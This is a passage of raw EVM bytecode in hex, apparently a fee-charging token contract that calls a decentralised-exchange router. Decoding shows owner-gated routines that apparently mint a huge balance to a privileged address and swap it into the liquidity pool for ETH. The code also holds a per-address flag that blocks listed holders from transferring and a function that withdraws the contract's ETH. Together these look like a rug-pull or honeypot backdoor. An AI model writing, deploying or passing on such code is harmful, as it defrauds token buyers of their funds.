6815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550606460125460115460105462000847919062000e6a565b62000853919062000e6a565b1462000896576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200088d9062000f06565b60405180910390fd5b505062000f28565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0d57607f821691505b60208210810362000a235762000a22620009c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a4e565b62000a99868362000a4e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ae662000ae062000ada8462000ab1565b62000abb565b62000ab1565b9050919050565b6000819050919050565b62000b028362000ac5565b62000b1a62000b118262000aed565b84845462000a5b565b825550505050565b600090565b62000b3162000b22565b62000b3e81848462000af7565b505050565b5b8181101562000b665762000b5a60008262000b27565b60018101905062000b44565b5050565b601f82111562000bb55762000b7f8162000a29565b62000b8a8462000a3e565b8101602085101562000b9a578190505b62000bb262000ba98562000a3e565b83018262000b43565b50505b505050565b600082821c905092915050565b600062000bda6000198460080262000bba565b1980831691505092915050565b600062000bf5838362000bc7565b9150826002028217905092915050565b62000c10826200098b565b67ffffffffffffffff81111562000c2c5762000c2b62000996565b5b62000c388254620009f4565b62000c4582828562000b6a565b600060209050601f83116001811462000c7d576000841562000c68578287015190505b62000c74858262000be7565b86555062000ce4565b601f19841662000c8d8662000a29565b60005b8281101562000cb75784890151825560018201915060208501945060208101905062000c90565b8683101562000cd7578489015162000cd3601f89168262000bc7565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d1e8262000cf1565b9050919050565b62000d308162000d11565b811462000d3c57600080fd5b50565b60008151905062000d508162000d25565b92915050565b6000806040838503121562000d705762000d6f62000cec565b5b600062000d808582860162000d3f565b925050602062000d938582860162000d3f565b9150509250929050565b60006020828403121562000db65762000db562000cec565b5b600062000dc68482850162000d3f565b91505092915050565b62000dda8162000d11565b82525050565b600060408201905062000df7600083018562000dcf565b62000e06602083018462000dcf565b9392505050565b62000e188162000ab1565b82525050565b600060208201905062000e35600083018462000e0d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e778262000ab1565b915062000e848362000ab1565b925082820190508082111562000e9f5762000e9e62000e3b565b5b92915050565b600082825260208201905092915050565b7f6665652073756d206572726f7200000000000000000000000000000000000000600082015250565b600062000eee600d8362000ea5565b915062000efb8262000eb6565b602082019050919050565b6000602082019050818103600083015262000f218162000edf565b9050919050565b614ff18062000f386000396000f3fe60806040526004361061028c5760003560e01c80637e74422e1161015a578063b49f93f7116100c1578063ecbe5a2d1161007a578063ecbe5a2d146109db578063edd8b64a14610a18578063f1fee6a214610a41578063f226cc8b14610a6a578063f2fde38b14610a95578063f6d1dfe114610abe57610293565b8063b49f93f7146108cb578063b5c72e1a146108f4578063d445d19e14610931578063dd62ed3e14610948578063e1370dd314610985578063e4440a86146109b057610293565b806395d89b411161011357806395d89b411461079557806399b102b5146107c0578063a07fc5a2146107fd578063a457c2d714610828578063a9059cbb14610865578063b179ce40146108a257610293565b80637e74422e1461068757806385ecafd7146106b057806389f425e7146106ed5780638da5cb5b146107165780638dd0f411146107415780638ea5220f1461076a57610293565b8063313ce567116101fe5780635342acb4116101b75780635342acb41461056757806355474ace146105a45780636db79437146105cd5780636dd3d39f146105f657806370a0823114610633578063715018a61461067057610293565b8063313ce5671461045957806335d162741461048457806339509351146104c15780634b42c93d146104fe5780634d474d42146105155780635337cc991461053e57610293565b806318160ddd1161025057806318160ddd1461034a5780631c499ab0146103755780631f6b29f71461039e578063203e727e146103c757806323b872dd146103f05780632df8bca91461042d57610293565b806306fdde0314610298578063095ea7b3146102c35780630b45260e146103005780630bc488c5146103175780630cdd84361461032157610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610ae9565b6040516102ba9190613ab7565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613b81565b610b7b565b6040516102f79190613bdc565b60405180910390f35b34801561030c57600080fd5b50610315610b97565b005b61031f610e89565b005b34801561032d57600080fd5b5061034860048036038101906103439190613c30565b610fc1565b005b34801561035657600080fd5b5061035f611123565b60405161036c9190613c7f565b60405180910390f35b34801561038157600080fd5b5061039c60048036038101906103979190613c9a565b61112d565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190613cf3565b611163565b005b3480156103d357600080fd5b506103ee60048036038101906103e99190613c9a565b61127c565b005b3480156103fc57600080fd5b5061041760048036038101906104129190613d33565b6112b2565b6040516104249190613bdc565b60405180910390f35b34801561043957600080fd5b506104426112da565b604051610450929190613d86565b60405180910390f35b34801561046557600080fd5b5061046e6112eb565b60405161047b9190613dbe565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190613dd9565b611302565b6040516104b89190613c7f565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190613b81565b611497565b6040516104f59190613bdc565b60405180910390f35b34801561050a57600080fd5b506105136114c7565b005b34801561052157600080fd5b5061053c60048036038101906105379190613dd9565b61155e565b005b34801561054a57600080fd5b5061056560048036038101906105609190613cf3565b6115ce565b005b34801561057357600080fd5b5061058e60048036038101906105899190613dd9565b6116e7565b60405161059b9190613bdc565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c69190613e06565b61173d565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190613e46565b6117ef565b005b34801561060257600080fd5b5061061d60048036038101906106189190613dd9565b61187e565b60405161062a9190613bdc565b60405180910390f35b34801561063f57600080fd5b5061065a60048036038101906106559190613dd9565b6118d4565b6040516106679190613c7f565b60405180910390f35b34801561067c57600080fd5b5061068561191d565b005b34801561069357600080fd5b506106ae60048036038101906106a99190613e86565b611931565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190613dd9565b6119d0565b6040516106e49190613bdc565b60405180910390f35b3480156106f957600080fd5b50610714600480360381019061070f9190613c9a565b6119f0565b005b34801561072257600080fd5b5061072b611a6a565b6040516107389190613ee8565b60405180910390f35b34801561074d57600080fd5b5061076860048036038101906107639190613cf3565b611a93565b005b34801561077657600080fd5b5061077f611bac565b60405161078c9190613ee8565b60405180910390f35b3480156107a157600080fd5b506107aa611bd2565b6040516107b79190613ab7565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e29190613dd9565b611c64565b6040516107f49190613bdc565b60405180910390f35b34801561080957600080fd5b50610812611cba565b60405161081f9190613bdc565b60405180910390f35b34801561083457600080fd5b5061084f600480360381019061084a9190613b81565b611cd1565b60405161085c9190613bdc565b60405180910390f35b34801561087157600080fd5b5061088c60048036038101906108879190613b81565b611d41565b6040516108999190613bdc565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c49190613cf3565b611d5d565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613f03565b611e76565b005b34801561090057600080fd5b5061091b60048036038101906109169190613dd9565b611ebf565b6040516109289190613bdc565b60405180910390f35b34801561093d57600080fd5b50610946611f28565b005b34801561095457600080fd5b5061096f600480360381019061096a9190613e06565b611f5e565b60405161097c9190613c7f565b60405180910390f35b34801561099157600080fd5b5061099a611fe5565b6040516109a79190613c7f565b60405180910390f35b3480156109bc57600080fd5b506109c5611fef565b6040516109d29190613ee8565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd9190613dd9565b612015565b604051610a0f9190613bdc565b60405180910390f35b348015610a2457600080fd5b50610a3f6004803603810190610a3a9190613dd9565b61206b565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190613e06565b6120db565b005b348015610a7657600080fd5b50610a7f61232f565b604051610a8c9190613c7f565b60405180910390f35b348015610aa157600080fd5b50610abc6004803603810190610ab79190613dd9565b61237c565b005b348015610aca57600080fd5b50610ad36123ff565b604051610ae09190613c7f565b60405180910390f35b606060088054610af890613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490613f5f565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b600080339050610b8c818585612409565b600191505092915050565b610bc333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6000610bce30611302565b90506000816dffffffffffffffffffffffffffff8016610bee9190613fbf565b9050610bf8612644565b610c0a30610c05336118d4565b611d41565b50610c4830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612409565b6060600267ffffffffffffffff811115610c6557610c64613ff3565b5b604051908082528060200260200182016040528015610c935781602001602082028036833780820191505090505b5090503081600081518110610cab57610caa614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d769190614066565b81600181518110610d8a57610d89614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610e1a9190614093565b6040518663ffffffff1660e01b8152600401610e3a9594939291906141ca565b6000604051808303816000875af1158015610e59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e829190614352565b5050505050565b610eb533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b610ec730610ec2336118d4565b611d41565b50610efd30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ef8306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610f46306118d4565b600080336104b042610f589190614093565b6040518863ffffffff1660e01b8152600401610f799695949392919061439b565b60606040518083038185885af1158015610f97573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fbc91906143fc565b505050565b610fed33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b60028160ff1610611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a9061449b565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff16036110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90614507565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61115933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060148190555050565b61118f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890614507565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060168190555050565b6000803390506112c38582856126ac565b6112ce858585612738565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611374573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139891906145a9565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190614066565b73ffffffffffffffffffffffffffffffffffffffff161461147857816dffffffffffffffffffffffffffff1661148a565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506114bc8185856114ad8589611f5e565b6114b79190614093565b612409565b600191505092915050565b6114f333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561155b573d6000803e3d6000fd5b50565b61158a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361168c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168390614507565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61176933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61181b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6064821115801561182d575060648111155b61186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061466e565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61192561308e565b61192f6000613105565b565b61195d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b606481838561196c9190614093565b6119769190614093565b146119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad906146da565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b611a1c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6127108111611a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a579061476c565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611abf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890614507565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611be190613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90613f5f565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611ce38286611f5e565b905083811015611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f906147fe565b60405180910390fd5b611d358286868403612409565b60019250505092915050565b600080339050611d52818585612738565b600191505092915050565b611d8933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1290614507565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ea233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80601860006101000a81548160ff02191690831515021790555050565b600080601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611f1e576001611f21565b60005b9050919050565b611f5433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b611f5c612644565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61209733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61210733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219e5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561224c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122709190614066565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016122aa92919061481e565b602060405180830381865afa1580156122c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122eb9190614066565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060026012546123419190614876565b905080606461234f306118d4565b6123599190614876565b61236391906148a7565b61236c306118d4565b6123769190613fbf565b91505090565b61238461308e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ea9061495b565b60405180910390fd5b6123fc81613105565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f906149ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de90614a7f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125c59190613c7f565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263790614b11565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126a39190614093565b92505081905550565b60006126b88484611f5e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146127325781811015612724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271b90614b7d565b60405180910390fd5b6127318484848403612409565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279e90614c0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280d90614ca1565b60405180910390fd5b61281f83611ebf565b1561285f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285690614d0d565b60405180910390fd5b61286a8383836131c9565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156128f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e890614d9f565b60405180910390fd5b601860009054906101000a900460ff1615612a425761290f84613448565b156129a557601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166129a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299790614e31565b60405180910390fd5b612a41565b6129ae83613448565b15612a4057601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3690614e31565b60405180910390fd5b5b5b5b612a4b846116e7565b158015612a5e5750612a5c836116e7565b155b15612f7257612a6c84613448565b15612c62576000612a7f83600b546134fa565b90508282612a8d9190613fbf565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612adc9190613fbf565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b2a9190614093565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612b8c9190613fbf565b604051612b999190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612bf09190614093565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c549190613c7f565b60405180910390a350612f6d565b612c6b83613448565b15612e61576000612c7e83600c546134fa565b90508282612c8c9190613fbf565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612cdb9190613fbf565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d299190614093565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612d8b9190613fbf565b604051612d989190613c7f565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612def9190614093565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e539190613c7f565b60405180910390a350612f6c565b8181612e6d9190613fbf565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612eff9190614093565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f639190613c7f565b60405180910390a35b5b61307d565b8181612f7e9190613fbf565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130109190614093565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516130749190613c7f565b60405180910390a35b61308884848461351c565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166130ad611a6a565b73ffffffffffffffffffffffffffffffffffffffff1614613103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130fa90614e9d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000601454141580156131e257506131e082613448565b155b80156131f457506131f28261187e565b155b801561320657506132048361187e565b155b156132645760145481613218846118d4565b6132229190614093565b1115613263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325a90614f2f565b60405180910390fd5b5b60006016541461335e57601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133125750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561335d5760165481111561335c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161335390614f9b565b60405180910390fd5b5b5b601b60009054906101000a900460ff16158015613381575061337f83613448565b155b80156133db5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561341357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561344357601354613424306118d4565b1061344257613431613521565b6134396137b3565b613441613910565b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806134f35750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b60006064828461350a91906148a7565b6135149190614876565b905092915050565b505050565b6001601b60006101000a81548160ff021916908315150217905550600061354661232f565b905061357530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612409565b6060600267ffffffffffffffff81111561359257613591613ff3565b5b6040519080825280602002602001820160405280156135c05781602001602082028036833780820191505090505b50905030816000815181106135d8576135d7614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561367f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136a39190614066565b816001815181106136b7576136b6614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084306104b0426137429190614093565b6040518663ffffffff1660e01b81526004016137629594939291906141ca565b600060405180830381600087803b15801561377c57600080fd5b505af11580156137905